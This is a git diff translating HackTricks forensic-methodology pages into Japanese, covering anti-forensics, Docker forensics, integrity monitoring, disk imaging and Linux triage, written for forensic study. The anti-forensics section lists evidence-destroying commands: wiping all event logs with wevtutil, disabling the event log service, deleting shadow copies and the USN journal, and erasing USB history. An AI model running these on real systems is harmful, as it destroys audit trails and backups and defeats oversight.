a/src/generic-methodologies-and-resources/basic-forensic-methodology/anti-forensic-techniques.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/anti-forensic-techniques.md @@ -1,152 +1,152 @@ -# Anti-Forensic Techniques +# アンチフォレンジック技術 {{#include ../../banners/hacktricks-training.md}} -## Timestamps +## タイムスタンプ -An attacker may be interested in **changing the timestamps of files** to avoid being detected.\ -It's possible to find the timestamps inside the MFT in attributes `$STANDARD_INFORMATION` \_\_ and \_\_ `$FILE_NAME`. +攻撃者は、**ファイルのタイムスタンプを変更すること**に興味を持つかもしれません。\ +タイムスタンプは、MFT内の属性 `$STANDARD_INFORMATION` \_\_ と \_\_ `$FILE_NAME` に見つけることができます。 -Both attributes have 4 timestamps: **Modification**, **access**, **creation**, and **MFT registry modification** (MACE or MACB). +両方の属性には4つのタイムスタンプがあります: **変更**, **アクセス**, **作成**, および **MFTレジストリ変更** (MACEまたはMACB)。 -**Windows explorer** and other tools show the information from **`$STANDARD_INFORMATION`**. +**Windowsエクスプローラー**や他のツールは、**`$STANDARD_INFORMATION`** からの情報を表示します。 -### TimeStomp - Anti-forensic Tool +### TimeStomp - アンチフォレンジックツール -This tool **modifies** the timestamp information inside **`$STANDARD_INFORMATION`** **but** **not** the information inside **`$FILE_NAME`**. Therefore, it's possible to **identify** **suspicious** **activity**. +このツールは、**`$STANDARD_INFORMATION`** 内のタイムスタンプ情報を**変更**しますが、**`$FILE_NAME`** 内の情報は**変更しません**。したがって、**疑わしい** **活動を特定することが可能です**。 ### Usnjrnl -The **USN Journal** (Update Sequence Number Journal) is a feature of the NTFS (Windows NT file system) that keeps track of volume changes. The [**UsnJrnl2Csv**](https://github.com/jschicht/UsnJrnl2Csv) tool allows for the examination of these changes. +**USNジャーナル** (Update Sequence Number Journal) は、NTFS (Windows NTファイルシステム) の機能で、ボリュームの変更を追跡します。[**UsnJrnl2Csv**](https://github.com/jschicht/UsnJrnl2Csv) ツールは、これらの変更を調査することを可能にします。 ![](<../../images/image (801).png>) -The previous image is the **output** shown by the **tool** where it can be observed that some **changes were performed** to the file. +前の画像は、**ツール**によって表示された**出力**で、ファイルに対して**いくつかの変更が行われた**ことが観察できます。 ### $LogFile -**All metadata changes to a file system are logged** in a process known as [write-ahead logging](https://en.wikipedia.org/wiki/Write-ahead_logging). The logged metadata is kept in a file named `**$LogFile**`, located in the root directory of an NTFS file system. Tools such as [LogFileParser](https://github.com/jschicht/LogFileParser) can be used to parse this file and identify changes. +**ファイルシステムへのすべてのメタデータ変更は**、[書き込み先行ログ](https://en.wikipedia.org/wiki/Write-ahead_logging)として知られるプロセスで記録されます。記録されたメタデータは、NTFSファイルシステムのルートディレクトリにある `**$LogFile**` という名前のファイルに保持されます。[LogFileParser](https://github.com/jschicht/LogFileParser) のようなツールを使用して、このファイルを解析し、変更を特定できます。 ![](<../../images/image (137).png>) -Again, in the output of the tool it's possible to see that **some changes were performed**. +再び、ツールの出力では、**いくつかの変更が行われた**ことが確認できます。 -Using the same tool it's possible to identify to **which time the timestamps were modified**: +同じツールを使用して、**タイムスタンプが変更された時刻を特定することが可能です**: ![](<../../images/image (1089).png>) -- CTIME: File's creation time -- ATIME: File's modification time -- MTIME: File's MFT registry modification -- RTIME: File's access time +- CTIME: ファイルの作成時刻 +- ATIME: ファイルの変更時刻 +- MTIME: ファイルのMFTレジストリ変更 +- RTIME: ファイルのアクセス時刻 -### `$STANDARD_INFORMATION` and `$FILE_NAME` comparison +### `$STANDARD_INFORMATION` と `$FILE_NAME` の比較 -Another way to identify suspicious modified files would be to compare the time on both attributes looking for **mismatches**. +疑わしい変更されたファイルを特定する別の方法は、両方の属性の時間を比較して**不一致**を探すことです。 -### Nanoseconds +### ナノ秒 -**NTFS** timestamps have a **precision** of **100 nanoseconds**. Then, finding files with timestamps like 2010-10-10 10:10:**00.000:0000 is very suspicious**. +**NTFS** タイムスタンプは **100ナノ秒** の**精度**を持っています。したがって、2010-10-10 10:10:**00.000:0000 のようなタイムスタンプを持つファイルを見つけることは非常に疑わしいです。 -### SetMace - Anti-forensic Tool +### SetMace - アンチフォレンジックツール -This tool can modify both attributes `$STARNDAR_INFORMATION` and `$FILE_NAME`. However, from Windows Vista, it's necessary for a live OS to modify this information. +このツールは、両方の属性 `$STARNDAR_INFORMATION` と `$FILE_NAME` を変更できます。ただし、Windows Vista以降は、ライブOSでこの情報を変更する必要があります。 -## Data Hiding +## データ隠蔽 -NFTS uses a cluster and the minimum information size. That means that if a file occupies uses and cluster and a half, the **reminding half is never going to be used** until the file is deleted. Then, it's possible to **hide data in this slack space**. +NFTSはクラスターと最小情報サイズを使用します。つまり、ファイルがクラスターと半分を占有している場合、**残りの半分はファイルが削除されるまで使用されません**。したがって、このスラックスペースに**データを隠すことが可能です**。 -There are tools like slacker that allow hiding data in this "hidden" space. However, an analysis of the `$logfile` and `$usnjrnl` can show that some data was added: +slackerのようなツールを使用すると、この「隠された」スペースにデータを隠すことができます。ただし、`$logfile` と `$usnjrnl` の分析により、いくつかのデータが追加されたことが示される可能性があります: ![](<../../images/image (1060).png>) -Then, it's possible to retrieve the slack space using tools like FTK Imager. Note that this kind of tool can save the content obfuscated or even encrypted. +その後、FTK Imagerのようなツールを使用してスラックスペースを取得することが可能です。この種のツールは、内容を難読化または暗号化して保存することができます。 ## UsbKill -This is a tool that will **turn off the computer if any change in the USB** ports is detected.\ -A way to discover this would be to inspect the running processes and **review each python script running**. +これは、**USB**ポートに変更が検出された場合にコンピュータを**シャットダウンする**ツールです。\ +これを発見する方法は、実行中のプロセスを検査し、**実行中の各Pythonスクリプトをレビューする**ことです。 -## Live Linux Distributions +## ライブLinuxディストリビューション -These distros are **executed inside the RAM** memory. The only way to detect them is **in case the NTFS file-system is mounted with write permissions**. If it's mounted just with read permissions it won't be possible to detect the intrusion. +これらのディストリビューションは**RAM**メモリ内で**実行されます**。検出する唯一の方法は、**NTFSファイルシステムが書き込み権限でマウントされている場合**です。読み取り権限のみでマウントされている場合、侵入を検出することはできません。 -## Secure Deletion +## セキュア削除 [https://github.com/Claudio-C/awesome-data-sanitization](https://github.com/Claudio-C/awesome-data-sanitization) -## Windows Configuration +## Windows設定 -It's possible to disable several windows logging methods to make the forensics investigation much harder. +フォレンジック調査をはるかに困難にするために、いくつかのWindowsログ記録方法を無効にすることが可能です。 -### Disable Timestamps - UserAssist +### タイムスタンプの無効化 - UserAssist -This is a registry key that maintains dates and hours when each executable was run by the user. +これは、ユーザーによって各実行可能ファイルが実行された日時を保持するレジストリキーです。 -Disabling UserAssist requires two steps: +UserAssistを無効にするには、2つのステップが必要です: -1. Set two registry keys, `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackProgs` and `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackEnabled`, both to zero in order to signal that we want UserAssist disabled. -2. Clear your registry subtrees that look like `HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\`. +1. 2つのレジストリキー `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackProgs` と `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackEnabled` をゼロに設定して、UserAssistを無効にしたいことを示します。 +2. `HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\` のようなレジストリサブツリーをクリアします。 -### Disable Timestamps - Prefetch +### タイムスタンプの無効化 - Prefetch -This will save information about the applications executed with the goal of improving the performance of the Windows system. However, this can also be useful for forensics practices. +これは、Windowsシステムのパフォーマンスを向上させる目的で実行されたアプリケーションに関する情報を保存します。ただし、これはフォレンジック実践にも役立ちます。 -- Execute `regedit` -- Select the file path `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SessionManager\Memory Management\PrefetchParameters` -- Right-click on both `EnablePrefetcher` and `EnableSuperfetch` -- Select Modify on each of these to change the value from 1 (or 3) to 0 -- Restart +- `regedit` を実行 +- ファイルパス `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SessionManager\Memory Management\PrefetchParameters` を選択 +- `EnablePrefetcher` と `EnableSuperfetch` の両方を右クリック +- 各々の値を1(または3)から0に変更するために修正を選択 +- 再起動 -### Disable Timestamps - Last Access Time +### タイムスタンプの無効化 - 最後のアクセス時間 -Whenever a folder is opened from an NTFS volume on a Windows NT server, the system takes the time to **update a timestamp field on each listed folder**, called the last access time. On a heavily used NTFS volume, this can affect performance. +NTFSボリュームからフォルダーが開かれるたびに、システムは**各リストされたフォルダーのタイムスタンプフィールドを更新するための時間を取ります**。これは、重度に使用されるNTFSボリュームではパフォーマンスに影響を与える可能性があります。 -1. Open the Registry Editor (Regedit.exe). -2. Browse to `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem`. -3. Look for `NtfsDisableLastAccessUpdate`. If it doesn’t exist, add this DWORD and set its value to 1, which will disable the process. -4. Close the Registry Editor, and reboot the server. +1. レジストリエディタ (Regedit.exe) を開きます。 +2. `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem` に移動します。 +3. `NtfsDisableLastAccessUpdate` を探します。存在しない場合は、このDWORDを追加し、その値を1に設定してプロセスを無効にします。 +4. レジストリエディタを閉じ、サーバーを再起動します。 -### Delete USB History +### USB履歴の削除 -All the **USB Device Entries** are stored in Windows Registry Under the **USBSTOR** registry key that contains sub keys which are created whenever you plug a USB Device into your PC or Laptop. You can find this key here H`KEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USBSTOR`. **Deleting this** you will delete the USB history.\ -You may also use the tool [**USBDeview**](https://www.nirsoft.net/utils/usb_devices_view.html) to be sure you have deleted them (and to delete them). +すべての**USBデバイスエントリ**は、USBデバイスをPCまたはラップトップに接続するたびに作成されるサブキーを含む**USBSTOR**レジストリキーの下にWindowsレジストリに保存されます。このキーはここにあります `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USBSTOR`。**これを削除することで**、USB履歴を削除します。\ +また、[**USBDeview**](https://www.nirsoft.net/utils/usb_devices_view.html) ツールを使用して、削除したことを確認することもできます(および削除するために)。 -Another file that saves information about the USBs is the file `setupapi.dev.log` inside `C:\Windows\INF`. This should also be deleted. +USBに関する情報を保存する別のファイルは、`C:\Windows\INF` 内の `setupapi.dev.log` です。これも削除する必要があります。 -### Disable Shadow Copies +### シャドウコピーの無効化 -**List** shadow copies with `vssadmin list shadowstorage`\ -**Delete** them running `vssadmin delete shadow` +**シャドウコピーをリスト**するには `vssadmin list shadowstorage`\ +**削除**するには `vssadmin delete shadow` を実行します。 -You can also delete them via GUI following the steps proposed in [https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html](https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html) +GUIを介して削除することも可能で、[https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html](https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html) で提案された手順に従います。 -To disable shadow copies [steps from here](https://support.waters.com/KB_Inf/Other/WKB15560_How_to_disable_Volume_Shadow_Copy_Service_VSS_in_Windows): +シャドウコピーを無効にするには、[こちらの手順](https://support.waters.com/KB_Inf/Other/WKB15560_How_to_disable_Volume_Shadow_Copy_Service_VSS_in_Windows)を参照してください: -1. Open the Services program by typing "services" into the text search box after clicking the Windows start button. -2. From the list, find "Volume Shadow Copy", select it, and then access Properties by right-clicking. -3. Choose Disabled from the "Startup type" drop-down menu, and then confirm the change by clicking Apply and OK. +1. Windowsスタートボタンをクリックした後、テキスト検索ボックスに「services」と入力してサービスプログラムを開きます。 +2. リストから「Volume Shadow Copy」を見つけて選択し、右クリックしてプロパティにアクセスします。 +3. 「スタートアップの種類」ドロップダウンメニューから「無効」を選択し、変更を適用してOKをクリックして確認します。 -It's also possible to modify the configuration of which files are going to be copied in the shadow copy in the registry `HKLM\SYSTEM\CurrentControlSet\Control\BackupRestore\FilesNotToSnapshot` +どのファイルがシャドウコピーにコピーされるかの設定をレジストリ `HKLM\SYSTEM\CurrentControlSet\Control\BackupRestore\FilesNotToSnapshot` で変更することも可能です。 -### Overwrite deleted files +### 削除されたファイルの上書き -- You can use a **Windows tool**: `cipher /w:C` This will indicate cipher to remove any data from the available unused disk space inside the C drive. -- You can also use tools like [**Eraser**](https://eraser.heidi.ie) +- **Windowsツール**を使用できます: `cipher /w:C` これは、Cドライブ内の未使用のディスクスペースからデータを削除するようにcipherに指示します。 +- [**Eraser**](https://eraser.heidi.ie) のようなツールを使用することもできます。 -### Delete Windows event logs +### Windowsイベントログの削除 -- Windows + R --> eventvwr.msc --> Expand "Windows Logs" --> Right click each category and select "Clear Log" +- Windows + R --> eventvwr.msc --> 「Windowsログ」を展開 --> 各カテゴリを右クリックして「ログのクリア」を選択 - `for /F "tokens=*" %1 in ('wevtutil.exe el') DO wevtutil.exe cl "%1"` - `Get-EventLog -LogName * | ForEach { Clear-EventLog $_.Log }` -### Disable Windows event logs +### Windowsイベントログの無効化 - `reg add 'HKLM\SYSTEM\CurrentControlSet\Services\eventlog' /v Start /t REG_DWORD /d 4 /f` -- Inside the services section disable the service "Windows Event Log" -- `WEvtUtil.exec clear-log` or `WEvtUtil.exe cl` +- サービスセクション内で「Windows Event Log」サービスを無効にします。 +- `WEvtUtil.exec clear-log` または `WEvtUtil.exe cl` -### Disable $UsnJrnl +### $UsnJrnlの無効化 - `fsutil usn deletejournal /d c:` diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.md index 629251985..19d57ba49 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.md @@ -2,24 +2,15 @@ {{#include ../../banners/hacktricks-training.md}} -
- -Deepen your expertise in **Mobile Security** with 8kSec Academy. Master iOS and Android security through our self-paced courses and get certified: - -{% embed url="https://academy.8ksec.io/" %} - -## Container modification - -There are suspicions that some docker container was compromised: +## コンテナの改ざん +いくつかのdockerコンテナが侵害された疑いがあります: ```bash docker ps CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES cc03e43a052a lamp-wordpress "./run.sh" 2 minutes ago Up 2 minutes 80/tcp wordpress ``` - -You can easily **find the modifications done to this container with regards to the image** with: - +このコンテナに対する**イメージに関する変更を簡単に見つけることができます**: ```bash docker diff wordpress C /var @@ -33,70 +24,52 @@ A /var/lib/mysql/mysql/time_zone_leap_second.MYI A /var/lib/mysql/mysql/general_log.CSV ... ``` - -In the previous command **C** means **Changed** and **A,** **Added**.\ -If you find that some interesting file like `/etc/shadow` was modified you can download it from the container to check for malicious activity with: - +前のコマンドで **C** は **Changed** を意味し、**A** は **Added** を意味します。\ +もし `/etc/shadow` のような興味深いファイルが変更されたことがわかった場合、悪意のある活動を確認するためにコンテナからダウンロードすることができます: ```bash docker cp wordpress:/etc/shadow. ``` - -You can also **compare it with the original one** running a new container and extracting the file from it: - +新しいコンテナを実行し、そこからファイルを抽出することで、**元のものと比較することもできます**。 ```bash docker run -d lamp-wordpress docker cp b5d53e8b468e:/etc/shadow original_shadow #Get the file from the newly created container diff original_shadow shadow ``` - -If you find that **some suspicious file was added** you can access the container and check it: - +**いくつかの疑わしいファイルが追加された**場合は、コンテナにアクセスして確認できます: ```bash docker exec -it wordpress bash ``` +## 画像の変更 -## Images modifications - -When you are given an exported docker image (probably in `.tar` format) you can use [**container-diff**](https://github.com/GoogleContainerTools/container-diff/releases) to **extract a summary of the modifications**: - +エクスポートされたDockerイメージ(おそらく`.tar`形式)を受け取った場合、[**container-diff**](https://github.com/GoogleContainerTools/container-diff/releases)を使用して**変更の概要を抽出**できます: ```bash docker save > image.tar #Export the image to a .tar file container-diff analyze -t sizelayer image.tar container-diff analyze -t history image.tar container-diff analyze -t metadata image.tar ``` - -Then, you can **decompress** the image and **access the blobs** to search for suspicious files you may have found in the changes history: - +次に、イメージを**解凍**し、**ブロブにアクセス**して、変更履歴で見つけた疑わしいファイルを検索できます: ```bash tar -xf image.tar ``` +### 基本分析 -### Basic Analysis - -You can get **basic information** from the image running: - +イメージから**基本情報**を取得するには、次のコマンドを実行します: ```bash docker inspect ``` - -You can also get a summary **history of changes** with: - +変更履歴の要約を取得することもできます: ```bash docker history --no-trunc ``` - -You can also generate a **dockerfile from an image** with: - +イメージから**dockerfileを生成**することもできます: ```bash alias dfimage="docker run -v /var/run/docker.sock:/var/run/docker.sock --rm alpine/dfimage" dfimage -sV=1.36 madhuakula/k8s-goat-hidden-in-layers> ``` - ### Dive -In order to find added/modified files in docker images you can also use the [**dive**](https://github.com/wagoodman/dive) (download it from [**releases**](https://github.com/wagoodman/dive/releases/tag/v0.10.0)) utility: - +Dockerイメージ内の追加または変更されたファイルを見つけるために、[**dive**](https://github.com/wagoodman/dive)([**releases**](https://github.com/wagoodman/dive/releases/tag/v0.10.0)からダウンロード)ユーティリティを使用することもできます: ```bash #First you need to load the image in your docker repo sudo docker load < image.tar 1 ⨯ @@ -105,27 +78,18 @@ Loaded image: flask:latest #And then open it with dive: sudo dive flask:latest ``` +これにより、**Dockerイメージの異なるブロブをナビゲート**し、どのファイルが変更または追加されたかを確認できます。**赤**は追加されたことを意味し、**黄色**は変更されたことを意味します。**タブ**を使用して他のビューに移動し、**スペース**を使用してフォルダーを折りたたむ/開くことができます。 -This allows you to **navigate through the different blobs of docker images** and check which files were modified/added. **Red** means added and **yellow** means modified. Use **tab** to move to the other view and **space** to collapse/open folders. - -With die you won't be able to access the content of the different stages of the image. To do so you will need to **decompress each layer and access it**.\ -You can decompress all the layers from an image from the directory where the image was decompressed executing: - +dieを使用すると、イメージの異なるステージの内容にアクセスすることはできません。そうするためには、**各レイヤーを解凍してアクセスする必要があります**。\ +イメージが解凍されたディレクトリから、イメージのすべてのレイヤーを解凍するには、次のコマンドを実行します: ```bash tar -xf image.tar for d in `find * -maxdepth 0 -type d`; do cd $d; tar -xf ./layer.tar; cd ..; done ``` +## メモリからの資格情報 -## Credentials from memory +ホスト内でdockerコンテナを実行するとき、**ホストからコンテナで実行されているプロセスを見ることができます**。単に`ps -ef`を実行するだけです。 -Note that when you run a docker container inside a host **you can see the processes running on the container from the host** just running `ps -ef` - -Therefore (as root) you can **dump the memory of the processes** from the host and search for **credentials** just [**like in the following example**](../../linux-hardening/privilege-escalation/#process-memory). - -
- -Deepen your expertise in **Mobile Security** with 8kSec Academy. Master iOS and Android security through our self-paced courses and get certified: - -{% embed url="https://academy.8ksec.io/" %} +したがって(rootとして)、**ホストからプロセスのメモリをダンプし**、**資格情報**を検索することができます。ちょうど[**次の例のように**](../../linux-hardening/privilege-escalation/#process-memory)。 {{#include ../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/file-integrity-monitoring.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/file-integrity-monitoring.md index 214b917cf..0435302c3 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/file-integrity-monitoring.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/file-integrity-monitoring.md @@ -1,25 +1,25 @@ {{#include ../../banners/hacktricks-training.md}} -# Baseline +# ベースライン -A baseline consists of taking a snapshot of certain parts of a system to **compare it with a future status to highlight changes**. +ベースラインは、システムの特定の部分のスナップショットを取得し、**将来の状態と比較して変更を強調する**ことから成ります。 -For example, you can calculate and store the hash of each file of the filesystem to be able to find out which files were modified.\ -This can also be done with the user accounts created, processes running, services running and any other thing that shouldn't change much, or at all. +例えば、ファイルシステムの各ファイルのハッシュを計算して保存することで、どのファイルが変更されたかを特定できます。\ +これは、作成されたユーザーアカウント、実行中のプロセス、実行中のサービス、およびあまり変更されるべきでない、または全く変更されないその他のものにも適用できます。 -## File Integrity Monitoring +## ファイル整合性監視 -File Integrity Monitoring (FIM) is a critical security technique that protects IT environments and data by tracking changes in files. It involves two key steps: +ファイル整合性監視 (FIM) は、ファイルの変更を追跡することによってIT環境とデータを保護する重要なセキュリティ技術です。これには2つの主要なステップが含まれます: -1. **Baseline Comparison:** Establish a baseline using file attributes or cryptographic checksums (like MD5 or SHA-2) for future comparisons to detect modifications. -2. **Real-Time Change Notification:** Get instant alerts when files are accessed or altered, typically through OS kernel extensions. +1. **ベースライン比較:** 将来の比較のためにファイル属性または暗号学的チェックサム(MD5やSHA-2など)を使用してベースラインを確立し、変更を検出します。 +2. **リアルタイム変更通知:** ファイルがアクセスまたは変更されたときに即座にアラートを受け取ります。通常、OSカーネル拡張を通じて行われます。 -## Tools +## ツール - [https://github.com/topics/file-integrity-monitoring](https://github.com/topics/file-integrity-monitoring) - [https://www.solarwinds.com/security-event-manager/use-cases/file-integrity-monitoring-software](https://www.solarwinds.com/security-event-manager/use-cases/file-integrity-monitoring-software) -## References +## 参考文献 - [https://cybersecurity.att.com/blogs/security-essentials/what-is-file-integrity-monitoring-and-why-you-need-it](https://cybersecurity.att.com/blogs/security-essentials/what-is-file-integrity-monitoring-and-why-you-need-it) diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/image-acquisition-and-mount.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/image-acquisition-and-mount.md index a95a3bbff..ea466d13b 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/image-acquisition-and-mount.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/image-acquisition-and-mount.md @@ -1,40 +1,30 @@ -# Image Acquisition & Mount +# 画像取得とマウント {{#include ../../banners/hacktricks-training.md}} -
-{% embed url="https://websec.nl/" %} - -## Acquisition +## 取得 ### DD - ```bash #This will generate a raw copy of the disk dd if=/dev/sdb of=disk.img ``` - ### dcfldd - ```bash #Raw copy with hashes along the way (more secur as it checks hashes while it's copying the data) dcfldd if= of= bs=512 hash= hashwindow= hashlog= dcfldd if=/dev/sdc of=/media/usb/pc.image hash=sha256 hashwindow=1M hashlog=/media/usb/pc.hashes ``` - ### FTK Imager -You can [**download the FTK imager from here**](https://accessdata.com/product-download/debian-and-ubuntu-x64-3-1-1). - +ここから[**FTKイメージャーをダウンロードできます**](https://accessdata.com/product-download/debian-and-ubuntu-x64-3-1-1)。 ```bash ftkimager /dev/sdb evidence --e01 --case-number 1 --evidence-number 1 --description 'A description' --examiner 'Your name' ``` - ### EWF -You can generate a disk image using the[ **ewf tools**](https://github.com/libyal/libewf). - +ディスクイメージは[ **ewf tools**](https://github.com/libyal/libewf)を使用して生成できます。 ```bash ewfacquire /dev/sdb #Name: evidence @@ -51,15 +41,13 @@ ewfacquire /dev/sdb #Then use default values #It will generate the disk image in the current directory ``` +## マウント -## Mount +### いくつかのタイプ -### Several types - -In **Windows** you can try to use the free version of Arsenal Image Mounter ([https://arsenalrecon.com/downloads/](https://arsenalrecon.com/downloads/)) to **mount the forensics image**. - -### Raw +**Windows** では、Arsenal Image Mounter の無料版 ([https://arsenalrecon.com/downloads/](https://arsenalrecon.com/downloads/)) を使用して **フォレンジックイメージをマウント** することができます。 +### 生 ```bash #Get file type file evidence.img @@ -68,9 +56,7 @@ evidence.img: Linux rev 1.0 ext4 filesystem data, UUID=1031571c-f398-4bfb-a414-b #Mount it mount evidence.img /mnt ``` - ### EWF - ```bash #Get file type file evidence.E01 @@ -85,16 +71,14 @@ output/ewf1: Linux rev 1.0 ext4 filesystem data, UUID=05acca66-d042-4ab2-9e9c-be #Mount mount output/ewf1 -o ro,norecovery /mnt ``` - ### ArsenalImageMounter -It's a Windows Application to mount volumes. You can download it here [https://arsenalrecon.com/downloads/](https://arsenalrecon.com/downloads/) +これはボリュームをマウントするためのWindowsアプリケーションです。ここからダウンロードできます [https://arsenalrecon.com/downloads/](https://arsenalrecon.com/downloads/) -### Errors - -- **`cannot mount /dev/loop0 read-only`** in this case you need to use the flags **`-o ro,norecovery`** -- **`wrong fs type, bad option, bad superblock on /dev/loop0, missing codepage or helper program, or other error.`** in this case the mount failed due as the offset of the filesystem is different than that of the disk image. You need to find the Sector size and the Start sector: +### エラー +- **`cannot mount /dev/loop0 read-only`** この場合、フラグ **`-o ro,norecovery`** を使用する必要があります。 +- **`wrong fs type, bad option, bad superblock on /dev/loop0, missing codepage or helper program, or other error.`** この場合、マウントはファイルシステムのオフセットがディスクイメージのそれと異なるために失敗しました。セクターサイズと開始セクターを見つける必要があります。 ```bash fdisk -l disk.img Disk disk.img: 102 MiB, 106954648 bytes, 208896 sectors @@ -107,15 +91,8 @@ Disk identifier: 0x00495395 Device Boot Start End Sectors Size Id Type disk.img1 2048 208895 206848 101M 1 FAT12 ``` - -Note that sector size is **512** and start is **2048**. Then mount the image like this: - +セクターサイズは**512**で、開始は**2048**です。次に、次のようにイメージをマウントします: ```bash mount disk.img /mnt -o ro,offset=$((2048*512)) ``` - -
- -{% embed url="https://websec.nl/" %} - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/linux-forensics.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/linux-forensics.md index 568da19c5..a17e95e81 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/linux-forensics.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/linux-forensics.md @@ -1,28 +1,17 @@ # Linux Forensics -
- -\ -Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=linux-forensics) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=linux-forensics" %} - {{#include ../../banners/hacktricks-training.md}} -## Initial Information Gathering +## 初期情報収集 -### Basic Information - -First of all, it's recommended to have some **USB** with **good known binaries and libraries on it** (you can just get ubuntu and copy the folders _/bin_, _/sbin_, _/lib,_ and _/lib64_), then mount the USB, and modify the env variables to use those binaries: +### 基本情報 +まず最初に、**良く知られたバイナリとライブラリが入った** **USB** を用意することをお勧めします(ubuntuを取得し、フォルダ _/bin_, _/sbin_, _/lib,_ と _/lib64_ をコピーするだけで済みます)。次に、USBをマウントし、これらのバイナリを使用するように環境変数を変更します: ```bash export PATH=/mnt/usb/bin:/mnt/usb/sbin export LD_LIBRARY_PATH=/mnt/usb/lib:/mnt/usb/lib64 ``` - -Once you have configured the system to use good and known binaries you can start **extracting some basic information**: - +システムを良好で既知のバイナリを使用するように設定したら、**基本的な情報を抽出し始める**ことができます: ```bash date #Date and time (Clock may be skewed, Might be at a different timezone) uname -a #OS info @@ -40,50 +29,46 @@ cat /etc/passwd #Unexpected data? cat /etc/shadow #Unexpected data? find /directory -type f -mtime -1 -print #Find modified files during the last minute in the directory ``` +#### 疑わしい情報 -#### Suspicious information +基本情報を取得する際には、以下のような奇妙な事柄を確認する必要があります: -While obtaining the basic information you should check for weird things like: +- **ルートプロセス**は通常低いPIDで実行されるため、大きなPIDを持つルートプロセスを見つけた場合は疑うべきです +- `/etc/passwd`内のシェルを持たないユーザーの**登録されたログイン**を確認します +- シェルを持たないユーザーのために`/etc/shadow`内の**パスワードハッシュ**を確認します -- **Root processes** usually run with low PIDS, so if you find a root process with a big PID you may suspect -- Check **registered logins** of users without a shell inside `/etc/passwd` -- Check for **password hashes** inside `/etc/shadow` for users without a shell +### メモリダンプ -### Memory Dump - -To obtain the memory of the running system, it's recommended to use [**LiME**](https://github.com/504ensicsLabs/LiME).\ -To **compile** it, you need to use the **same kernel** that the victim machine is using. +実行中のシステムのメモリを取得するには、[**LiME**](https://github.com/504ensicsLabs/LiME)を使用することをお勧めします。\ +**コンパイル**するには、被害者のマシンが使用している**同じカーネル**を使用する必要があります。 > [!NOTE] -> Remember that you **cannot install LiME or any other thing** in the victim machine as it will make several changes to it - -So, if you have an identical version of Ubuntu you can use `apt-get install lime-forensics-dkms`\ -In other cases, you need to download [**LiME**](https://github.com/504ensicsLabs/LiME) from github and compile it with correct kernel headers. To **obtain the exact kernel headers** of the victim machine, you can just **copy the directory** `/lib/modules/` to your machine, and then **compile** LiME using them: +> 被害者のマシンに**LiMEやその他のものをインストールすることはできない**ことを覚えておいてください。そうすると、いくつかの変更が加わります。 +したがって、同一のUbuntuバージョンがある場合は、`apt-get install lime-forensics-dkms`を使用できます。\ +他の場合は、githubから[**LiME**](https://github.com/504ensicsLabs/LiME)をダウンロードし、正しいカーネルヘッダーでコンパイルする必要があります。被害者のマシンの**正確なカーネルヘッダー**を取得するには、単に`/lib/modules/`ディレクトリを自分のマシンに**コピー**し、それを使用してLiMEを**コンパイル**します: ```bash make -C /lib/modules//build M=$PWD sudo insmod lime.ko "path=/home/sansforensics/Desktop/mem_dump.bin format=lime" ``` +LiMEは3つの**フォーマット**をサポートしています: -LiME supports 3 **formats**: +- Raw(すべてのセグメントが連結されたもの) +- Padded(Rawと同じですが、右側のビットにゼロが追加されています) +- Lime(メタデータ付きの推奨フォーマット) -- Raw (every segment concatenated together) -- Padded (same as raw, but with zeroes in right bits) -- Lime (recommended format with metadata +LiMEは、`path=tcp:4444`のようなもので、システムに保存する代わりに**ネットワーク経由でダンプを送信する**こともできます。 -LiME can also be used to **send the dump via network** instead of storing it on the system using something like: `path=tcp:4444` +### ディスクイメージング -### Disk Imaging +#### シャットダウン -#### Shutting down +まず最初に、**システムをシャットダウンする**必要があります。これは常に選択肢ではなく、時にはシステムが会社がシャットダウンできないプロダクションサーバーであることがあります。\ 